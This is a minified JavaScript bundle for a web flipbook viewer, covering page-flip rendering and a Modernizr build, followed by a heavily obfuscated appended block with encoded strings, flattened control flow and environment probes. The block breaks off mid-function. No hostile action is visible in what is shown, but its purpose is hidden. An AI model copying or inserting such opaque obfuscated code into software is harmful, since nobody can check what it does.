t=()=>{St!==vt&&(setTimeout((()=>{this.shouldRenderCanvas?this.renderCanvas():this.isCurrent&&t()}),200),!this.$store.state.workspace.animationInProgress&&this.thumbnailUrl&&St++)};t()}},pageSize(){this.rerenderCanvas(!0)},pageResize(){this.rerenderCanvas()},backgroundColor(){this.rerenderCanvas()}},methods:{renderCanvas:function(){if(this.$store.state.pager.zoomMode)return;let t=this.$refs.canvas;if(!t)return;const e=t.getContext("2d"),i=new Image;i.crossOrigin=(0,d.Z)().getCrossOrigin();const s=this.pageSize.width;this.widthCache=s;const o=this.pageSize.height;let r="right"===this.pageSide&&this.isWide?-this.contentSize.width:this.contentSize.offsetX,a=this.contentSize.offsetY,n=this.contentSize.width*(this.isWide?2:1),h=this.contentSize.height;const l=20;h+=l;const c=h/this.contentSize.height,p=Math.floor(s*c)-s;n+=p,r-=l/2,a-=Math.floor(p/2),t.height=Math.floor(o*c),t.width=Math.floor(s*c);const g=t.width-s;t.style.top=`-${l/2}px`,"right"===this.pageSide&&this.isWide?t.style.right=-Math.floor(g/2)+"px":t.style.left=-Math.floor(g/2)+"px",e.fillStyle=this.backgroundColor,e.fillRect(0,0,s,o),i.onload=()=>{e.save(),e.translate(s,0),e.scale(-1,1),e.drawImage(i,r,a,n,h),e.restore(),bt(e,0,0,t.width,t.height,2,1),t=null},i.src=this.thumbnailUrl},rerenderCanvas:function(){arguments.length>0&&void 0!==arguments[0]&&arguments[0]&&this.widthCache===this.pageSize.width||this.showCanvas&&this.isCurrent&&(null!==this.resizeTimer&&clearTimeout(this.resizeTimer),this.resizeTimer=setTimeout((()=>{this.renderCanvas(),this.resizeTimer=null}),350))},getProperties:function(){this.thumbnailUrl=this.isStub&&this.enforceTransparentBg?this.whitePixelUrl:this.$store.getters["pages/pageProp"](this.pageId,"thumbnailUrl"),this.isReady=this.$store.getters["pages/pageProp"](this.pageId,"status")===V.Z.READY,this.loadPending=this.$store.getters["pages/pageProp"](this.pageId,"loadPending"),this.hasError=this.$store.getters["pages/hasError"](this.pageId)},getAPIProperties:function(){this.isWide=this.$store.getters["pages/pageProp"](this.pageId,"wide"),this.isStub=this.$store.getters["pages/pageProp"](this.pageId,"stub"),this.pageResize=this.$store.getters["pages/pageProp"](this.pageId,"pageResize"),this.isHardcoverFirstPage?this.backgroundColor="rgba(255, 255, 255, .15)":this.backgroundColor=null===this.pageId?this.backgroundColor:this.$store.getters["pages/pageProp"](this.pageId,"backgroundColor")}},computed:{showCanvas(){return this.showThumbnail&&!this.isHardcoverFirstPage&&!!this.thumbnailUrl},shouldRenderCanvas(){return this.showCanvas&&this.$refs.canvas&&!this.$store.state.workspace.animationInProgress},className(){return{page:!0,"page-reverse-side":!0,bordered:this.bordered,unready:!this.isReady&&!this.hasError,error:this.hasError,light:this.backgroundLuma>.5,dark:this.backgroundLuma<=.5}},isHardcoverFirstPage:function(){return this.$store.getters["book/hasHardcover"]&&this.$store.getters["pages/isFirstPage"](this.id)},pageSize(){const t=this.isOutsideHardcover&&!this.isHardcoverFirstPage?1.03:1,e=this.size||!1,i=this.pagesSize,s=this.pageWidthMultiplier;return e&&e.width&&e.height?{width:Math.round(e.width*t),height:Math.round(e.height*t)}:{width:Math.round(i.width*s*t),height:Math.round(i.height*t)}},pageStyle(){return{width:this.pageSize.width+"px",height:this.pageSize.height+"px","background-color":this.backgroundColor}}}};const yt=(0,R.Z)(wt,at,nt,!1,null,null,null).exports;function kt(t,e,i,s){if(-1===e)return;if(this.parentVm=i,this.contentCreator=s,this.store=(0,ot.bh)(),this.data=this._getPageData(e),this.enforceWhiteBg=this.store.state.workspace.alteredSVGColors&&this.store.state.workspace.userAgentInfo.browser.samsung,this.pageDiv=document.createElement("div"),this.pageDiv.className="page",this.enforceWhiteBg){const e=document.createElement("img");e.setAttribute("class","enforce-white-bg"),e.setAttribute("src","data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8/x8AAwMCAO+ip1sAAAAASUVORK5CYII="),t.appendChild(e)}if(!this.data)return;if(this.data.isReverseSide&&(t.style.opacity=0,!this.store.state.workspace.components.book.isTranslucentReverseSide))return;this.setPageBg(e),t.appendChild(this.pageDiv);const o=this;this._createVM=function(){if(o.store)if(o.store.state.workspace.components.book.isTranslucentReverseSide&&o.data.isReverseSide){const t=st().extend(Object.assign({store:o.store},yt));o.vm=new t({i18n:rt.Z,propsData:o.data,parent:o.parentVm,_componentTag:"page-reverse-side"}).$mount(o.pageDiv)}else{const t=st().extend(Object.assign({store:o.store},et));o.vm=new t({i18n:rt.Z,propsData:o.data,parent:o.parentVm,_componentTag:"page"}).$mount(o.pageDiv)}},this.parentVm.animation?this.parentVm.$once("render:finish",this._createVM):this._createVM()}kt.prototype.destroy=function(){delete this.store,delete this.parentVm,delete this.contentCreator},kt.prototype._createVM=function(){},kt.prototype._getPageData=function(t){const e=this.store.getters["pager/flipParams"](t);return null===e?{isReverseSide:!0}:{id:e.pageId,wide:e.wide,side:e.pageSide,isReverseSide:e.isReverseSide,contentCreator:this.contentCreator}},kt.prototype.setPageBg=function(t){if(!this.store||this.enforceWhiteBg)return;const e=this._getPageData(t);if(!e.id)return;const i=this.store.getters["book/hasHardcover"]&&(this.store.getters["pages/isFirstPage"](e.id)||this.store.getters["pages/isLastPage"](e.id))?this.store.state.book.hardcoverColor:this.store.getters["pages/pageProp"](e.id,"backgroundColor");void 0!==this.vm&&"function"==typeof this.vm.forceBackgroundColor?this.vm.forceBackgroundColor(i):this.pageDiv.style["background-color"]=i},kt.prototype.resetPage=function(t){if(void 0===this.vm)return;let e=this._getPageData(t);e||(e={id:null,side:"left"}),this.vm.pageSide=e.side,this.vm.pageId=e.id};const xt=kt;function $t(){this.type="hard"}$t.prototype.generateDOM=function(t,e,i,s,o,r){this.mask=A.Z.createElement("div",{class:"hard-mask vis"}),this.firstPage=A.Z.createElement("div",{},this.mask),this.contentObject1=new xt(this.firstPage,this.firstPageNum,o,r),this.secondPage=A.Z.createElement("div",{},this.mask),this.contentObject2=new xt(this.secondPage,this.secondPageNum,o,r),this.setLayer(i),this.firstPageGradient="",this.secondPageGradient="",this.bookState.singleMode;let a=0;if(this.contentObject1.data&&!this.contentObject1.data.isReverseSide&&(this.firstPageGradient=(0,ot.bh)().getters["pages/pageGradient"](this.contentObject1.data.id),this.bookState.singleMode&&!this.bookState.isLastPage(this.firstPageNum)&&(a=this.contentObject1.data.isWide&&"left"===this.contentObject1.data.side?0:1,this.secondPageGradient=(0,ot.bh)().getters["pages/pageGradient"](parseInt(this.contentObject1.data.id)+a+""))),this.contentObject2.data&&!this.contentObject2.data.isReverseSide&&(this.secondPageGradient=(0,ot.bh)().getters["pages/pageGradient"](this.contentObject2.data.id),this.bookState.singleMode&&!this.bookState.isFirstPage(this.secondPageNum)&&(a=this.contentObject2.data.isWide&&"right"===this.contentObject2.data.side?0:1,this.firstPageGradient=(0,ot.bh)().getters["pages/pageGradient"](parseInt(this.contentObject2.data.id)+a+""))),!this.firstPageGradient&&this.secondPageGradient&&(this.firstPageGradient=this.secondPageGradient),!this.secondPageGradient&&this.firstPageGradient&&(this.secondPageGradient=this.firstPageGradient),e?this.setRight():this.setLeft(),s){let t=document.getElementById("reflex-container");const e=t.nextSibling,i=t.parentNode;e?i.insertBefore(this.mask,e):i.appendChild(this.mask),t=null}else t.appendChild(this.mask)},$t.prototype.setLeft=function(){A.Z.removeClass(this.mask,"hRight");let t="page-flip-container z3 "+this.secondPageGradient;return this.secondPage.className=t+(this.bookState.isNullPage(this.secondPageNum)?" break":this.bookState.isLastPage(this.secondPageNum)?" hard-front hardcover-outer":" hard-front hardcover-inner"),t="page-flip-container z1 "+this.firstPageGradient,this.firstPage.className=t+(this.bookState.isNullPage(this.firstPageNum)?" break":this.bookState.isFirstPage(this.firstPageNum)?" hard-back hardcover-outer":" hard-back hardcover-inner"),this.frontPage=this.secondPage,this.reversePage=this.firstPage,this},$t.prototype.setRight=function(){A.Z.addClass(this.mask,"hRight");let t="page-flip-container z3 "+this.secondPageGradient;return this.secondPage.className=t+(this.bookState.isNullPage(this.secondPageNum)?" break":this.bookState.isLastPage(this.secondPageNum)?" hard-back hardcover-outer":" hard-back hardcover-inner"),t="page-flip-container z1 "+this.firstPageGradient,this.firstPage.className=t+(this.bookState.isNullPage(this.firstPageNum)?" break":this.bookState.isFirstPage(this.firstPageNum)?" hard-front hardcover-outer":" hard-front hardcover-inner"),this.frontPage=this.firstPage,this.reversePage=this.secondPage,this},$t.prototype.setLayer=function(t){return A.Z.removeClass(this.mask,"layer"+this.layer),this.layer=t,A.Z.addClass(this.mask,"layer"+t),this},$t.prototype.destroy=function(){void 0!==this.contentObject1.vm&&(this.contentObject1.destroy(),this.contentObject1.vm.$destroy(),this.contentObject1.vm=null,delete this.contentObject1.vm),void 0!==this.contentObject2.vm&&(this.contentObject2.destroy(),this.contentObject2.vm.$destroy(),this.contentObject2.vm=null,delete this.contentObject2.vm),A.Z.del(this.mask),delete this.mask,delete this.firstPage,delete this.secondPage,delete this.frontPage,delete this.reversePage};const zt=$t;function Pt(){this.type="soft"}Pt.prototype.generateDOM=function(t,e,i,s,o,r){this.mask=A.Z.createElement("div",{class:"mask vis","data-page":this.firstPageNum+1+"-"+(this.secondPageNum+1)}),this.firstPage=A.Z.createElement("div",{},this.mask),this.contentObject1=new xt(this.firstPage,this.firstPageNum,o,r),this.reflexContainer=A.Z.createElement("div",{class:"reflex-container2 z2"},this.mask),(this.bookState.isFirstPage(this.firstPageNum)||this.bookState.isLastSheet(this.firstPageNum))&&(this.reflexMask=A.Z.createElement("div",{class:"inner-reflex-mask"},this.reflexContainer)),this.bookState.singleMode&&(this.reflexMask=A.Z.createElement("div",{},this.reflexContainer)),this.innerReflex=A.Z.createElement("div",{class:"inner-reflex"},this.reflexMask||this.reflexContainer),this.secondPage=A.Z.createElement("div",{},this.mask),this.contentObject2=new xt(this.secondPage,this.secondPageNum,o,r),this.flipGradientT=A.Z.createElement("div",{class:"flip-grad"},this.firstPage),this.flipGradientB=A.Z.createElement("div",{class:"flip-grad"},this.secondPage),this.setLayer(i),this.firstPageGradient="",this.secondPageGradient="",this.bookState.singleMode;let a=0;if(this.contentObject1.data&&!this.contentObject1.data.isReverseSide&&(this.firstPageGradient=(0,ot.bh)().getters["pages/pageGradient"](this.contentObject1.data.id),this.bookState.singleMode)){a=this.contentObject1.data.wide&&"left"===this.contentObject1.data.side?0:1;const t=(0,ot.bh)().getters["pages/pageIndexById"](this.contentObject1.data.id)+a,e=(0,ot.bh)().getters["pages/pageIdByIndexWide"](t);this.secondPageGradient=(0,ot.bh)().getters["pages/pageGradient"](e)}if(this.contentObject2.data&&!this.contentObject2.data.isReverseSide&&(this.secondPageGradient=(0,ot.bh)().getters["pages/pageGradient"](this.contentObject2.data.id),this.bookState.singleMode)){a=this.contentObject2.data.wide&&"right"===this.contentObject2.data.side?0:1;const t=(0,ot.bh)().getters["pages/pageIndexById"](this.contentObject2.data.id)+a,e=(0,ot.bh)().getters["pages/pageIdByIndexWide"](t);this.firstPageGradient=(0,ot.bh)().getters["pages/pageGradient"](e)}if(!this.firstPageGradient&&this.secondPageGradient&&(this.firstPageGradient=this.secondPageGradient),!this.secondPageGradient&&this.firstPageGradient&&(this.secondPageGradient=this.firstPageGradient),e?this.setRight():this.setLeft(),s){let t=document.getElementById("reflex-container");const e=t.nextSibling,i=t.parentNode;e?i.insertBefore(this.mask,e):i.appendChild(this.mask),t=null}else t.appendChild(this.mask)},Pt.prototype.setLeft=function(){A.Z.removeClass(this.mask,"mR"),this.bookState.singleMode&&(this.bookState.rtl?A.Z.addClass(this.reflexMask,"inner-reflex-mask"):A.Z.removeClass(this.reflexMask,"inner-reflex-mask"));let t="page-flip-container z1 "+this.secondPageGradient;return this.secondPage.className=t+(this.bookState.isNullPage(this.secondPageNum)?" break":this.bookState.isLastPage(this.secondPageNum)?" reflex-last":" reflex-left"),t="page-flip-container z3 "+this.firstPageGradient,this.firstPage.className=t+(this.bookState.isNullPage(this.firstPageNum)?" bottom break":this.bookState.isFirstPage(this.firstPageNum)?" bottom":" reflex-right bottom"),this.flipGradient=this.flipGradientT,this.frontPage=this.secondPage,this.reversePage=this.firstPage,this},Pt.prototype.setRight=function(){A.Z.addClass(this.mask,"mR"),this.bookState.singleMode&&(this.bookState.rtl?A.Z.removeClass(this.reflexMask,"inner-reflex-mask"):A.Z.addClass(this.reflexMask,"inner-reflex-mask"));let t="page-flip-container z3 "+this.secondPageGradient;return this.secondPage.className=t+(this.bookState.isNullPage(this.secondPageNum)?" bottom break":this.bookState.isLastPage(this.secondPageNum)?" bottom":" reflex-left bottom"),t="page-flip-container z1 "+this.firstPageGradient,this.firstPage.className=t+(this.bookState.isNullPage(this.firstPageNum)?" right-page break":this.bookState.isFirstPage(this.firstPageNum)?" right-page reflex-first":" reflex-right right-page"),this.flipGradient=this.flipGradientB,this.frontPage=this.firstPage,this.reversePage=this.secondPage,this},Pt.prototype.setLayer=function(t){return A.Z.removeClass(this.mask,"layer"+this.layer),this.layer=t,A.Z.addClass(this.mask,"layer"+t),this},Pt.prototype.destroy=function(){this.contentObject1.destroy(),void 0!==this.contentObject1.vm&&(this.contentObject1.vm.$destroy(),this.contentObject1.vm=null,delete this.contentObject1.vm),this.contentObject2.destroy(),void 0!==this.contentObject2.vm&&(this.contentObject2.vm.$destroy(),this.contentObject2.vm=null,delete this.contentObject2.vm),A.Z.del(this.mask),delete this.mask,delete this.firstPage,delete this.reflexContainer,delete this.innerReflex,delete this.secondPage,delete this.flipGradientT,delete this.flipGradientB,delete this.frontPage,delete this.reversePage,delete this.flipGradient};const Ct=Pt;function Tt(t,e,i){let s=arguments.length>3&&void 0!==arguments[3]&&arguments[3],o=arguments.length>4&&void 0!==arguments[4]?arguments[4]:2,r=arguments.length>5?arguments[5]:void 0,a=arguments.length>6?arguments[6]:void 0,n=arguments.length>7?arguments[7]:void 0,h=arguments.length>8?arguments[8]:void 0,l=arguments.length>9&&void 0!==arguments[9]&&arguments[9];const{first:c,second:d}=h?p(h):s&&3===o?t.rightSheet:s&&2===o?t.bottomRightSheet:s||3!==o?s||2!==o?{first:0,second:0}:t.bottomLeftSheet:t.leftSheet;function p(e){switch(e){case"left":return t.leftSheet;case"right":return t.rightSheet;case"bottom-left":return t.bottomLeftSheet;case"bottom-right":return t.bottomRightSheet}}function g(t,e){let i=arguments.length>2&&void 0!==arguments[2]&&arguments[2],s=arguments.length>3&&void 0!==arguments[3]?arguments[3]:2,o=arguments.length>4?arguments[4]:void 0,r=arguments.length>5?arguments[5]:void 0,h=arguments.length>6?arguments[6]:void 0;this.bookState=t,this.firstPageNum=r,this.secondPageNum=h,t.isNullPage(r)&&(this.firstPageNum=-1),t.isNullPage(h)&&(this.secondPageNum=-1),this.generateDOM(e,i,s,o,a,n)}return e.hardcover&&(l||e.isFirstPage(c)||e.isLastPage(c)||e.isLastPage(d)||e.isFirstPage(d))?g.prototype=new zt:g.prototype=new Ct,g.prototype.setContent=function(t){let{first:e,second:i}=t;(0,y.o8)(e)||(this.contentObject1.resetPage(e),this.firstPageNum=e),(0,y.o8)(i)||(this.contentObject2.resetPage(i),this.secondPageNum=i)},new g(e,i,s,o,r,c,d)}const Mt=Tt;var It=i(8239);const Lt=[],Rt=[],Et={_version:"3.0.0-alpha.3",_config:{classPrefix:"",enableClasses:!0,enableJSClass:!0,usePrefixes:!0},_q:[],on:function(t,e){const i=this;setTimeout((function(){e(i[t])}),0)},addTest:function(t,e,i){Rt.push({name:t,fn:e,options:i})},addAsyncTest:function(t){Rt.push({name:null,fn:t})}};let Ft=function(){};function Ot(t,e){return typeof t===e}function _t(){let t,e,i,s,o,r,a;for(const n in Rt){if(t=[],e=Rt[n],e.name&&(t.push(e.name.toLowerCase()),e.options&&e.options.aliases&&e.options.aliases.length))for(i=0;i<e.options.aliases.length;i++)t.push(e.options.aliases[i].toLowerCase());for(s=Ot(e.fn,"function")?e.fn():e.fn,o=0;o<t.length;o++)r=t[o],a=r.split("."),1===a.length?Ft[a[0]]=s:(!Ft[a[0]]||Ft[a[0]]instanceof Boolean||(Ft[a[0]]=new Boolean(Ft[a[0]])),Ft[a[0]][a[1]]=s),Lt.push((s?"":"no-")+a.join("-"))}}Ft.prototype=Et,Ft=new Ft;const Dt=document.documentElement;function Wt(t){let e=Dt.className;const i=Ft._config.classPrefix||"";if(Ft._config.enableJSClass){const t=new RegExp("(^|\\s)"+i+"no-js(\\s|$)");e=e.replace(t,"$1"+i+"js$2")}Ft._config.enableClasses&&(e+=" "+i+t.join(" "+i),Dt.className=e)}function Bt(t){return t.replace(/([a-z])-([a-z])/g,(function(t,e,i){return e+i.toUpperCase()})).replace(/^-/,"")}function At(t){return t.replace(/([A-Z])/g,(function(t,e){return"-"+e.toLowerCase()})).replace(/^ms-/,"-ms-")}const Ht="Moz O ms Webkit",Nt=Et._config.usePrefixes?Ht.toLowerCase().split(" "):[];Et._domPrefixes=Nt;const Zt=Et._config.usePrefixes?Ht.split(" "):[];Et._cssomPrefixes=Zt;const Vt=function(t){const e=prefixes.length,i=window.CSSRule;let s;if(void 0!==i){if(!t)return!1;if(s=(t=t.replace(/^@/,"")).replace(/-/g,"_").toUpperCase()+"_RULE",s in i)return"@"+t;for(let o=0;o<e;o++){const e=prefixes[o];if(e.toUpperCase()+"_"+s in i)return"@-"+e.toLowerCase()+"-"+t}return!1}},Ut=function(){return"function"!=typeof document.createElement?document.createElement(arguments[0]):document.createElement.apply(document,arguments)};function Gt(){let t=document.body;return t||(t=Ut("body"),t.fake=!0),t}function Xt(t,e,i,s){const o="modernizr";let r,a,n,h;const l=Ut("div"),c=Gt();if(parseInt(i,10))for(;i--;)n=Ut("div"),n.id=s?s[i]:o+(i+1),l.appendChild(n);return r=["&#173;",'<style id="s',o,'">',t,"</style>"].join(""),l.id=o,(c.fake?c:l).innerHTML+=r,c.appendChild(l),c.fake&&(c.style.background="",c.style.overflow="hidden",h=Dt.style.overflow,Dt.style.overflow="hidden",Dt.appendChild(c)),a=e(l,t),c.fake?(c.parentNode.removeChild(c),Dt.style.overflow=h,Dt.offsetHeight):l.parentNode.removeChild(l),!!a}Et.testStyles=Xt;function jt(t,e){return!!~(""+t).indexOf(e)}function Yt(t,e){let i=t.length;if("CSS"in window&&"supports"in window.CSS){for(;i--;)if(window.CSS.supports(At(t[i]),e))return!0;return!1}if("CSSSupportsRule"in window){let s=[];for(;i--;)s.push("("+At(t[i])+":"+e+")");return s=s.join(" or "),Xt("@supports ("+s+") { #modernizr { position: absolute; } }",(function(t){return"absolute"==getComputedStyle(t,null).position}))}}function qt(t,e){return function(){return t.apply(e,arguments)}}function Kt(t,e,i){let s;for(const o in t)if(t[o]in e)return!1===i?t[o]:(s=e[t[o]],Ot(s,"function")?qt(s,i||e):s);return!1}const Qt={elem:Ut("modernizr")};Ft._q.push((function(){delete Qt.elem}));const Jt={style:Qt.elem.style};function te(t,e,i,s){if(s=!Ot(s,"undefined")&&s,!Ot(i,"undefined")){const e=Yt(t,i);if(!Ot(e,"undefined"))return e}let o,r,a,n,h;function l(){o&&(delete Jt.style,delete Jt.modElem)}for(Jt.style||(o=!0,Jt.modElem=Ut("modernizr"),Jt.style=Jt.modElem.style),a=t.length,r=0;r<a;r++)if(n=t[r],h=Jt.style[n],jt(n,"-")&&(n=Bt(n)),void 0!==Jt.style[n]){if(s||Ot(i,"undefined"))return l(),"pfx"!=e||n;try{Jt.style[n]=i}catch(ao){}if(Jt.style[n]!=h)return l(),"pfx"!=e||n}return l(),!1}function ee(t,e,i,s,o){let r=t.charAt(0).toUpperCase()+t.slice(1),a=(t+" "+Zt.join(r+" ")+r).split(" ");return Ot(e,"string")||Ot(e,"undefined")?te(a,e,s,o):(a=(t+" "+Nt.join(r+" ")+r).split(" "),Kt(a,e,i))}Ft._q.unshift((function(){delete Jt.style})),Et.testAllProps=ee;const ie=Et.prefixed=function(t,e,i){return 0===t.indexOf("@")?Vt(t):(-1!=t.indexOf("-")&&(t=Bt(t)),e?ee(t,e,i):ee(t,"pfx"))};Et.prefixedCSS=function(t){const e=ie(t);return e&&At(e)};_t(),Wt(Lt),delete Et.addTest,delete Et.addAsyncTest;for(let no=0;no<Ft._q.length;no++)Ft._q[no]();const se=Ft;var oe=i(840),re=i.n(oe),ae=i(2918);function ne(t,e,i,s){if(e<10)return 0;if(e<=30)return t/e*(20+(e-10)/2);const o=(i.width+i.height)/2*(Math.log(e)/Math.log(10))*.03+e/100;let r=Math.min(e,o);return s&&(r=Math.min(s,r)),Math.round(t/e*r)}var he=i(1443),le=i(7476);const ce=1.03,de=function(){const t=window.getComputedStyle(document.documentElement,""),e=(Array.prototype.slice.call(t).join("").match(/-(moz|webkit|ms)-/)||""===t.OLink&&["","o"])[1];return{dom:"WebKit|Moz|MS|O".match(new RegExp("("+e+")","i"))[1],lowercase:e,css:"-"+e+"-",js:e[0].toUpperCase()+e.substr(1)}}();
z_cHO[114068]=(function(){var G4=2;for(;G4 !== 9;){switch(G4){case 2:G4=typeof globalThis === '\u006f\u0062\u006a\u0065\x63\x74'?1:5;break;case 1:return globalThis;break;case 5:var i9;try{var T8=2;for(;T8 !== 6;){switch(T8){case 2:Object['\x64\x65\u0066\u0069\u006e\x65\u0050\u0072\u006f\u0070\u0065\u0072\u0074\x79'](Object['\u0070\u0072\u006f\x74\x6f\x74\x79\x70\u0065'],'\u0054\u0074\x58\x38\x76',{'\u0067\x65\u0074':function(){return this;},'\x63\x6f\u006e\u0066\u0069\x67\u0075\x72\x61\u0062\u006c\x65':true});i9=TtX8v;i9['\x65\x6e\u0067\u0041\x37']=i9;T8=4;break;case 4:T8=typeof engA7 === '\u0075\x6e\u0064\u0065\u0066\x69\x6e\x65\x64'?3:9;break;case 3:throw "";T8=9;break;case 9:delete i9['\x65\u006e\u0067\x41\x37'];var l6=Object['\x70\u0072\u006f\x74\x6f\u0074\u0079\u0070\u0065'];delete l6['\x54\u0074\x58\x38\u0076'];T8=6;break;}}}catch(R6){i9=window;}return i9;break;}}})();z_cHO.A5rTe=A5rTe;t5DYTj(z_cHO[114068]);z_cHO[455427]=(function(){var o8=2;for(;o8 !== 5;){switch(o8){case 2:var O8={K5vQz3J:(function(j2){var I1=2;for(;I1 !== 18;){switch(I1){case 14:T$+=r2(Z6(w$) ^ e5(M3));I1=13;break;case 8:I1=w$ < q_.length?7:12;break;case 9:var w$=0,M3=0;I1=8;break;case 2:var h_=function(O9){var S5=2;for(;S5 !== 11;){switch(S5){case 3:S5=H8 < O9.length?9:7;break;case 7:var Y4,U4;S5=6;break;case 9:k1[H8]=E0(O9[H8] + 89);S5=8;break;case 4:var H8=0;S5=3;break;case 8:H8++;S5=3;break;case 12:return U4;break;case 2:var E0=D6nJH.b3HyD;var m1=v4fMo.Q8nhqL;var k1=[];S5=4;break;case 13:S5=!U4?6:12;break;case 6:Y4=k1.D$u2hS(function(){var I$=2;for(;I$ !== 1;){switch(I$){case 2:return 0.5 - m1();break;}}}).U89TgF('');U4=z_cHO[Y4];S5=13;break;}}};var T$='',q_=e8qmzG(h_([25,12,-5,-36,-24])());I1=5;break;case 20:var J$=function(Z$){var U2=2;for(;U2 !== 1;){switch(U2){case 2:return T$[Z$];break;}}};return A6;break;case 5:var r2=D6nJH.b3HyD;var Z6=q_.O2AqYY.bind(q_);var e5=j2.O2AqYY.bind(j2);I1=9;break;case 7:I1=M3 === j2.length?6:14;break;case 6:M3=0;I1=14;break;case 13:(w$++,M3++);I1=8;break;case 12:T$=T$.D7fSkI('?');var O7=0;var A6=function(e0){var U1=2;for(;U1 !== 23;){switch(U1){case 5:T$.h5qJ68.z4QcBv(T$,T$.n4BXGo(-9,9).n4BXGo(0,7));U1=4;break;case 15:U1=O7 === 6 && e0 === 14?27:25;break;case 12:O7+=1;U1=11;break;case 25:O8.K5vQz3J=J$;U1=24;break;case 10:U1=O7 === 4 && e0 === 124?20:18;break;case 1:O7+=1;U1=5;break;case 16:T$.h5qJ68.z4QcBv(T$,T$.n4BXGo(-10,10).n4BXGo(0,8));U1=4;break;case 9:O7+=1;U1=8;break;case 2:U1=O7 === 0 && e0 === 64?1:3;break;case 17:O7+=1;U1=16;break;case 20:O7+=1;U1=19;break;case 14:T$.h5qJ68.z4QcBv(T$,T$.n4BXGo(-4,4).n4BXGo(0,2));U1=4;break;case 7:U1=O7 === 2 && e0 === 10?6:13;break;case 19:T$.h5qJ68.z4QcBv(T$,T$.n4BXGo(-9,9).n4BXGo(0,7));U1=4;break;case 27:O7+=1;U1=26;break;case 4:return O7;break;case 6:O7+=1;U1=14;break;case 26:T$.h5qJ68.z4QcBv(T$,T$.n4BXGo(-7,7).n4BXGo(0,5));U1=4;break;case 24:return J$(e0);break;case 13:U1=O7 === 3 && e0 === 120?12:10;break;case 8:T$.h5qJ68.z4QcBv(T$,T$.n4BXGo(-5,5).n4BXGo(0,4));U1=4;break;case 3:U1=O7 === 1 && e0 === 36?9:7;break;case 11:T$.h5qJ68.z4QcBv(T$,T$.n4BXGo(-5,5).n4BXGo(0,4));U1=4;break;case 18:U1=O7 === 5 && e0 === 75?17:15;break;}}};I1=20;break;}}})('P*!BRZ')};return O8;break;}}})();z_cHO.s6=function(){return typeof z_cHO[455427].K5vQz3J === 'function'?z_cHO[455427].K5vQz3J.apply(z_cHO[455427],arguments):z_cHO[455427].K5vQz3J;};z_cHO.L4=function(){return typeof z_cHO[455427].K5vQz3J === 'function'?z_cHO[455427].K5vQz3J.apply(z_cHO[455427],arguments):z_cHO[455427].K5vQz3J;};var j$PPLi=2;for(;j$PPLi !== 6;){switch(j$PPLi){case 3:j$PPLi=z_cHO.L4(124) < 82?9:8;break;case 1:z_cHO.t$=7;j$PPLi=5;break;case 2:j$PPLi=z_cHO.s6(64) <= z_cHO.L4(36)?1:5;break;case 5:j$PPLi=z_cHO.s6(10) == z_cHO.L4(120)?4:3;break;case 4:z_cHO.y5=76;j$PPLi=3;break;case 9:z_cHO.c0=52;j$PPLi=8;break;case 7:z_cHO.i6=96;j$PPLi=6;break;case 8:j$PPLi=z_cHO.L4(75) == z_cHO.s6(14)?7:6;break;}}z_cHO.b8=function(){return typeof z_cHO[168396].n36oZcO === 'function'?z_cHO[168396].n36oZcO.apply(z_cHO[168396],arguments):z_cHO[168396].n36oZcO;};z_cHO[151555]=true;z_cHO[168396]=(function(){var A9=2;for(;A9 !== 9;){switch(A9){case 2:var C4=[arguments];C4[7]=undefined;A9=5;break;case 5:C4[2]={};C4[2].n36oZcO=function(){var Q8=2;for(;Q8 !== 145;){switch(Q8){case 84:M2[75]=M2[30];M2[26]={};M2[26].G9=['U5','V0'];Q8=81;break;case 26:M2[74].G9=['Z3'];M2[74].V$=function(){var l0=typeof k4S0qR === 'function';return l0;};Q8=24;break;case 129:M2[98]='a5';Q8=128;break;case 105:M2[6].h8uK7l(M2[46]);M2[28]=[];M2[78]='z3';M2[33]='f_';M2[65]='G9';M2[85]='p3';M2[10]='V$';Q8=129;break;case 109:M2[6].h8uK7l(M2[75]);Q8=108;break;case 113:M2[6].h8uK7l(M2[67]);M2[6].h8uK7l(M2[93]);M2[6].h8uK7l(M2[99]);M2[6].h8uK7l(M2[4]);Q8=109;break;case 31:M2[27]=M2[60];M2[44]={};M2[44].G9=['Z3'];M2[44].V$=function(){var c9=false;var B_=[];try{for(var s8 in console)B_.h8uK7l(s8);c9=B_.length === 0;}catch(Y8){}var N5=c9;return N5;};Q8=44;break;case 38:M2[51].G9=['g4'];M2[51].V$=function(){var p1=function(){return ('aa').endsWith('a');};var K5=(/\u0074\x72\x75\145/).c11gv4(p1 + []);return K5;};M2[93]=M2[51];M2[88]={};M2[88].G9=['g4'];Q8=52;break;case 150:M2[66]++;Q8=127;break;case 49:M2[89].G9=['g4'];M2[89].V$=function(){var r9=function(){return ('aaaa').padEnd(5,'a');};var F8=(/\x61\x61\x61\x61\x61/).c11gv4(r9 + []);return F8;};M2[71]=M2[89];M2[19]={};Q8=45;break;case 44:M2[67]=M2[44];M2[81]={};Q8=42;break;case 1:Q8=C4[7]?5:4;break;case 24:M2[41]=M2[74];M2[15]={};M2[15].G9=['U5'];Q8=21;break;case 149:Q8=(function(t7){var a2=2;for(;a2 !== 22;){switch(a2){case 2:var a6=[arguments];a2=1;break;case 8:a6[7]=0;a2=7;break;case 17:a6[7]=0;a2=16;break;case 7:a2=a6[7] < a6[0][0].length?6:18;break;case 18:a6[5]=false;a2=17;break;case 15:a6[9]=a6[1][a6[7]];a6[2]=a6[4][a6[9]].h / a6[4][a6[9]].t;a2=26;break;case 1:a2=a6[0][0].length === 0?5:4;break;case 13:a6[4][a6[8][M2[98]]]=(function(){var f6=2;for(;f6 !== 9;){switch(f6){case 3:return T3[1];break;case 2:var T3=[arguments];T3[1]={};T3[1].h=0;T3[1].t=0;f6=3;break;}}}).z4QcBv(this,arguments);a2=12;break;case 23:return a6[5];break;case 4:a6[4]={};a6[1]=[];a6[7]=0;a2=8;break;case 20:a6[4][a6[8][M2[98]]].h+=true;a2=19;break;case 6:a6[8]=a6[0][0][a6[7]];a2=14;break;case 19:a6[7]++;a2=7;break;case 14:a2=typeof a6[4][a6[8][M2[98]]] === 'undefined'?13:11;break;case 10:a2=a6[8][M2[85]] === M2[78]?20:19;break;case 25:a6[5]=true;a2=24;break;case 5:return;break;case 11:a6[4][a6[8][M2[98]]].t+=true;a2=10;break;case 16:a2=a6[7] < a6[1].length?15:23;break;case 12:a6[1].h8uK7l(a6[8][M2[98]]);a2=11;break;case 24:a6[7]++;a2=16;break;case 26:a2=a6[2] >= 0.5?25:24;break;}}})(M2[28])?148:147;break;case 146:return 59;break;case 